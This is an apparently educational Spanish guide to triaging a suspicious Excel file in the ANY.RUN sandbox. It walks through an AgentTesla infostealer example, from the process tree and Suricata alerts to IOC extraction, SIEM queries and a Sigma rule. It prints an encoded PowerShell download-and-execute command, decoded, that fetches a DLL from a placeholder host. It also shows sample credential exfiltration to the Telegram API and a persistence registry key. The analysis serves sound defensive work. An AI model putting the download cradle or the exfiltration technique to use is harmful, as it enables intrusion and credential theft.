ANY.RUN: Triaje de Fichero Sospechoso a IOCs en 5 Minutos
Guía práctica para usar ANY.RUN en el triaje de ficheros sospechosos. Desde la subida de un sample hasta la extracción de IOCs en 5 minutos: proceso del análisis, árbol de procesos, tráfico de red, ficheros creados, alertas Suricata, mapeo MITRE y diferencias entre plan gratuito y de pago.
El sandbox como primera línea de triaje
Un analista SOC recibe una alerta: un empleado ha descargado un fichero adjunto de un email sospechoso. El fichero se llama Invoice_Q2_2026.xlsx y el antivirus no lo ha detectado. El EDR ha marcado el endpoint pero no ha bloqueado la ejecución. Necesitas determinar en minutos si el fichero es malicioso, qué hace exactamente, y extraer IOCs para buscar otros endpoints afectados.
Este es el escenario perfecto para un sandbox interactivo como ANY.RUN: subir el fichero, observar su comportamiento en tiempo real, y obtener indicadores de compromiso accionables en menos de 5 minutos.
¿Qué es ANY.RUN?
ANY.RUN es una plataforma de análisis de malware basada en sandbox interactivo. A diferencia de sandboxes automatizados donde el fichero se ejecuta sin intervención, ANY.RUN permite:
- Interacción en tiempo real: ver el escritorio de la VM y interactuar como un usuario (clic en botones, rellenar formularios, habilitar macros)
- Observación del comportamiento: árbol de procesos, actividad de red, ficheros creados/modificados, cambios en el registro
- Detección integrada: reglas Suricata para tráfico de red, YARA para ficheros, mapeo automático a MITRE ATT&CK
- Extracción de IOCs: hashes, dominios, IPs, URLs, ficheros dropeados, todo extraído automáticamente
Planes disponibles
| Característica | Community (gratis) | Hunter | Enterprise |
|---|---|---|---|
| Análisis | Públicos | Privados | Privados |
| Timeout máximo | 60 segundos | 660 segundos | 660 segundos |
| Sistemas operativos | Windows 7/10 | Windows + Linux | Windows + Linux |
| Extracción de config | No | Sí | Sí |
| API acceso | Limitada | Completa | Completa |
| Análisis diarios | Limitados | Ilimitados | Ilimitados |
| YARA custom | No | Sí | Sí |
Paso 1: Subir el sample
Preparación
Antes de subir el fichero:
- Calcular los hashes (MD5, SHA1, SHA256) del fichero localmente
- Verificar si ya existe un análisis previo en ANY.RUN buscando por hash
- Si el caso es confidencial, verificar que tienes un plan con análisis privados
# Calcular hashes localmente
$ sha256sum Invoice_Q2_2026.xlsx
7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b Invoice_Q2_2026.xlsx
$ md5sum Invoice_Q2_2026.xlsx
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 Invoice_Q2_2026.xlsx
Configuración del análisis
En la interfaz de ANY.RUN:
- Arrastra el fichero al área de subida (o pega una URL si el malware es un enlace)
- Selecciona el sistema operativo: Windows 10 x64 (el más representativo del entorno corporativo)
- Configura el timeout: al menos 120 segundos para documentos con macros (el plan gratuito limita a 60s)
- Opciones adicionales:
- Fake net: simula respuestas de red para que el malware crea que tiene conectividad
- MITM proxy: intercepta tráfico HTTPS para ver el contenido descifrado
- Geo location: algunos malware verifican la geolocalización antes de ejecutarse
Ejecución
Al iniciar el análisis, ANY.RUN muestra el escritorio de la VM en tiempo real. Para un documento Office:
- Excel se abre con el fichero
- Aparece la barra amarilla de "Habilitar edición" y "Habilitar contenido"
- Como analista, hacemos clic en "Habilitar contenido" para permitir la ejecución de macros
- Observamos qué sucede a continuación
Paso 2: Analizar el árbol de procesos
El árbol de procesos es la vista más informativa del análisis. Muestra la cadena completa de ejecución:
excel.exe (PID 2340)
└── cmd.exe (PID 3456)
└── powershell.exe (PID 4567)
└── conhost.exe (PID 4568)
└── rundll32.exe (PID 5678)
└── svchost.exe (PID 6789) [INJECTED]
Interpretación
- excel.exe abrió el documento y ejecutó la macro VBA
- La macro lanzó cmd.exe (común para evadir detecciones que monitorizan hijos directos de Office)
- cmd.exe ejecutó powershell.exe con un script codificado en Base64
- PowerShell descargó y ejecutó un DLL mediante rundll32.exe
- El DLL realizó process injection en svchost.exe (técnica T1055)
Cada nodo del árbol muestra:
- Línea de comandos completa
- Hashes del binario ejecutado
- Indicadores de comportamiento sospechoso (marcados en rojo/naranja)
- Técnicas MITRE ATT&CK mapeadas automáticamente
Decodificación del PowerShell
ANY.RUN decodifica automáticamente comandos PowerShell codificados en Base64:
# Comando original (ofuscado)
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8ANAA1AC4AWABYAi4AWABYAi4AWABYADoAOAAwADgAMAAvAHAAYQB5AGwAbwBhAGQALgBkAGwAbAAnACkA
# Decodificado por ANY.RUN
IEX (New-Object Net.WebClient).DownloadString('http://45.XX.XX.XX:8080/payload.dll')
Paso 3: Analizar el tráfico de red
Conexiones HTTP/HTTPS
ANY.RUN captura todo el tráfico de red con un proxy MITM que descifra HTTPS:
| Protocolo | Destino | Puerto | Acción |
|---|---|---|---|
| HTTP | 45.XX.XX.XX | 8080 | Descarga payload.dll |
| HTTPS | api.telegram.org | 443 | Envío de credenciales robadas |
| DNS | evil-domain.xyz | 53 | Resolución del dominio C2 |
| HTTPS | evil-domain.xyz | 443 | Conexión C2 (beacon) |
Alertas Suricata
ANY.RUN ejecuta reglas Suricata sobre el tráfico capturado. En nuestro ejemplo:
[**] ET MALWARE AgentTesla Exfiltration via Telegram [**]
[Classification: A Network Trojan was detected] [Priority: 1]
SRC: 10.0.2.15:49231 -> DST: 149.154.167.220:443
[**] ET TROJAN AgentTesla/OriginLogger Data Exfil via SMTP [**]
[Classification: A Network Trojan was detected] [Priority: 1]
[**] ET INFO EXE Download from Suspicious TLD [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
Las alertas Suricata identifican inmediatamente la familia de malware: AgentTesla, un infostealer que exfiltra datos vía Telegram, SMTP o FTP.
Contenido de las comunicaciones
Con el proxy MITM, podemos ver el contenido de las comunicaciones HTTPS:
POST /bot123456789:AAFxx.../sendDocument HTTP/1.1
Host: api.telegram.org
------WebKitFormBoundary
Content-Disposition: form-data; name="document"; filename="PW_srv-web_admin_2026-06-05.html"
Content-Type: text/html
<html><body>
<h2>Stolen Credentials</h2>
<b>Chrome</b>: https://bank.victim.com | [email protected] | P@ssw0rd123
<b>Firefox</b>: https://vpn.victim.com | john.doe | SecretVPN!
[...]
</body></html>
El malware está exfiltrando credenciales almacenadas en los navegadores del endpoint infectado.
Paso 4: Revisar ficheros y registro
Ficheros creados/modificados
ANY.RUN lista todos los ficheros creados durante la ejecución:
| Fichero | Acción | Descripción |
|---|---|---|
%TEMP%\payload.dll | Creado | DLL del infostealer |
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk | Creado | Persistencia via Startup |
%APPDATA%\AgentTesla\config.dat | Creado | Configuración del malware |
%TEMP%\screenshots\*.jpg | Creado | Capturas de pantalla del escritorio |
Cambios en el registro
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
→ "WindowsUpdate" = "C:\Users\admin\AppData\Roaming\svchost.exe"
HKCU\Software\AgentTesla
→ "InstallDate" = "2026-06-05"
→ "HWID" = "A1B2C3D4E5F6"
Paso 5: Extraer IOCs
ANY.RUN genera automáticamente un informe con todos los IOCs extraídos. Aquí los organizamos para acción inmediata:
Hashes
| Tipo | Valor | Descripción |
|---|---|---|
| SHA256 | 7a8b9c0d... | Invoice_Q2_2026.xlsx (dropper) |
| SHA256 | 3c4d5e6f... | payload.dll (AgentTesla) |
| SHA256 | 9a0b1c2d... | svchost.exe (copia persistente) |
| MD5 | a1b2c3d4... | payload.dll |
Red
| Tipo | Valor | Contexto |
|---|---|---|
| IPv4 | 45.XX.XX.XX | Servidor de staging (payload download) |
| Dominio | evil-domain.xyz | C2 para beacon |
| Dominio | api.telegram.org | Canal de exfiltración |
| URL | http://45.XX.XX.XX:8080/payload.dll | URL de descarga del payload |
| Bot Token | 123456789:AAFxx... | Token del bot Telegram (exfiltración) |
Comportamiento
| Técnica MITRE | ID | Observable |
|---|---|---|
| Phishing: Spearphishing Attachment | T1566.001 | Documento Excel con macros |
| User Execution: Malicious File | T1204.002 | Requiere habilitar macros |
| Command and Scripting Interpreter: PowerShell | T1059.001 | Descarga de payload |
| Process Injection | T1055 | Inyección en svchost.exe |
| Boot or Logon Autostart: Registry Run Keys | T1547.001 | Persistencia en Run |
| Credentials from Password Stores: Browsers | T1555.003 | Robo de credenciales Chrome/Firefox |
| Exfiltration Over Web Service | T1567 | Envío via Telegram API |
| Screen Capture | T1113 | Capturas de pantalla |
Paso 6: Acciones inmediatas post-triaje
Con los IOCs extraídos en menos de 5 minutos, el analista puede:
1. Buscar en el SIEM
# Splunk
index=proxy dest_ip="45.XX.XX.XX" OR dest="evil-domain.xyz" OR url="*payload.dll*"
# Elastic
source.ip: "45.XX.XX.XX" OR dns.question.name: "evil-domain.xyz"
2. Bloquear en el firewall/proxy
# Bloquear IP del servidor de staging
iptables -I OUTPUT -d 45.XX.XX.XX -j DROP
# Bloquear dominio C2 en DNS
echo "0.0.0.0 evil-domain.xyz" >> /etc/hosts # temporal
# O en el DNS corporativo como sinkhole
3. Buscar el hash en otros endpoints (EDR)
# CrowdStrike Falcon
Event_SimpleName=DnsRequest DomainName=evil-domain.xyz
Event_SimpleName=ProcessRollup2 SHA256HashData=3c4d5e6f...
# Microsoft Defender ATP
DeviceProcessEvents
| where SHA256 == "3c4d5e6f..."
| project Timestamp, DeviceName, FileName, FolderPath
4. Crear alerta para futuras detecciones
# Regla Sigma
title: AgentTesla Telegram Exfiltration
id: at-001
status: experimental
logsource:
category: proxy
detection:
selection:
c-uri|contains: '/bot'
c-uri|contains: '/sendDocument'
r-dns: 'api.telegram.org'
condition: selection
level: high
tags:
- attack.exfiltration
- attack.t1567
Tips para usar ANY.RUN eficazmente
1. Interactúa con el malware. Muchos samples esperan clics, input de teclado, o que pase tiempo antes de activarse. No te limites a observar pasivamente.
2. Usa el timeline. La línea temporal de ANY.RUN muestra cuándo ocurrió cada acción. Esto ayuda a entender la secuencia de ejecución y las dependencias entre etapas.
3. Descarga el PCAP. El fichero PCAP completo está disponible para descarga. Puedes analizarlo con Wireshark para un análisis de red más profundo.
4. Busca samples relacionados. Desde la página de resultados, ANY.RUN permite buscar otros análisis con los mismos IOCs (misma IP de C2, mismo hash, mismo dominio). Esto puede revelar variantes de la misma campaña.
5. Compara con la base de datos pública. Antes de subir un fichero, busca su hash en la base de datos pública de ANY.RUN. Puede que alguien ya lo haya analizado, ahorrándote tiempo y evitando alertar al atacante (si usa servicios públicos como indicador de que está siendo investigado).
6. Verifica con VirusTotal. Complementa el análisis dinámico de ANY.RUN con el análisis estático multimotor de VirusTotal. Un fichero con 0 detecciones en VirusTotal pero comportamiento malicioso en ANY.RUN es un hallazgo valioso.
7. Documenta el análisis. ANY.RUN permite generar informes PDF y JSON exportables. Guarda siempre el enlace del análisis y los IOCs en tu sistema de ticketing.
Comparativa: ANY.RUN vs otros sandboxes
| Característica | ANY.RUN | VirusTotal | Joe Sandbox | Hybrid Analysis |
|---|---|---|---|---|
| Interacción en tiempo real | Si | No | Limitada | No |
| Gratis | Plan Community | Si | Plan Community | Si |
| Detección multimotor AV | No | Si (70+ AV) | Si | Si |
| Extracción de config | Si (pago) | Parcial | Si | Si |
| Análisis Linux | Si (pago) | Si | Si | Si |
| Tiempo máximo ejecución | 60s/660s | Fijo | Variable | Fijo |
| Suricata rules | Si | No | Si | Si |
| MITRE mapping automático | Si | Si | Si | Si |
| PCAP descargable | Si | No | Si | Si |
La recomendación es usar múltiples sandboxes para casos complejos: ANY.RUN para la interactividad y observación en tiempo real, VirusTotal para cobertura de detección multimotor, y CAPE para extracción avanzada de configuraciones.
Conclusión
ANY.RUN transforma el triaje de ficheros sospechosos de una tarea que podría llevar horas (montar una VM, ejecutar el sample, capturar tráfico, analizar procesos) en un proceso de 5 minutos con resultados accionables. Para un analista SOC que gestiona decenas de alertas diarias, la capacidad de determinar rápidamente si un fichero es malicioso y extraer IOCs para hunting es invaluable.
La clave es tratar el sandbox como el primer paso, no el último. Los IOCs extraídos deben alimentar búsquedas en el SIEM, reglas en el firewall, y alertas en el EDR para detectar otros endpoints potencialmente comprometidos.
Los ejemplos utilizan datos ficticios con fines educativos. Las capturas y resultados de ANY.RUN se basan en análisis de muestras públicas. Todos los indicadores se proporcionan con contexto defensivo.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.